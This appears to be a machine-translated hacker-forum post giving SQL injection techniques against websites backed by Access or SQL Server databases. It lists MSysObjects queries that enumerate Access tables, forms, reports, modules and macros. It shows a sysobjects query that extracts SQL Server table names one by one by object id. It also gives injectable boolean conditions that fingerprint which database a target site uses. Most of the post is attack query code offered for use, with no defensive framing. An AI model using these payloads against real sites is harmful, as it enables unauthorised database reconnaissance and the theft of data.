My personal opinion on the injection method !!!

Blackbase Member: Quota n

Use a direct query statement to obtain the table name, form, report, module, query, and macro In the ACCESS database.
---------------------------------------------------------------------------
Query:
SELECT MSysObjects. Name FROM MsysObjects WHERE (Left ([Name], 1) <> "~ ") AND (MSysObjects. Type) = 5 order by MSysObjects. Name;

Form:
SELECT MSysObjects. Name FROM MsysObjects WHERE (Left ([Name], 1) <> "~ ") AND (MSysObjects. Type) =-32768 order by MSysObjects. Name;

Table:
SELECT MSysObjects. Name FROM MsysObjects WHERE (Left ([Name], 1) <> "~ ") AND (Left $ ([Name], 4) <>" Msys ") AND (MSysObjects. Type) = 1 order by MSysObjects. Name;

Report:
SELECT MSysObjects. Name FROM MsysObjects WHERE (Left ([Name], 1) <> "~ ") AND (MSysObjects. Type) =-32764 order by MSysObjects. Name;

Module:
SELECT MSysObjects. Name FROM MsysObjects WHERE (Left ([Name], 1) <> "~ ") AND (MSysObjects. Type) =-32761 order by MSysObjects. Name;

MACRO:
SELECT MSysObjects. Name FROM MsysObjects WHERE (Left ([Name], 1) <> "~ ") AND (MSysObjects. Type) =-32766 order by MSysObjects. Name;
 

Use a direct query statement to obtain the SQL database table name
-----------------------------------------------------------------------
We can get the first table name gallery object flag 2099048 of the User table in the database.
Select top 1 name from sysobjects where xtype = u and id> 2099048
Then we can get the 2nd table names gb_data. Here we use id> 2099048, because the object flag id is sorted from small to large.
And so on, we can get the names of all user tables.

 

Use the system table object of the database to determine the database format used in the website (SQL/ACCESS)
-----------------------------------------------------------------------
We can add a query statement in the injection string:
(Select count (*) from sysobjects)> = 0
If the query result is true, SQL database is used. Otherwise, no.

Use the following statement to determine whether ACCESS is Enabled:
(Select count (*) from Msysaccessobjects)> = 0
If the query result is true, it is the ACCESS database, and vice versa.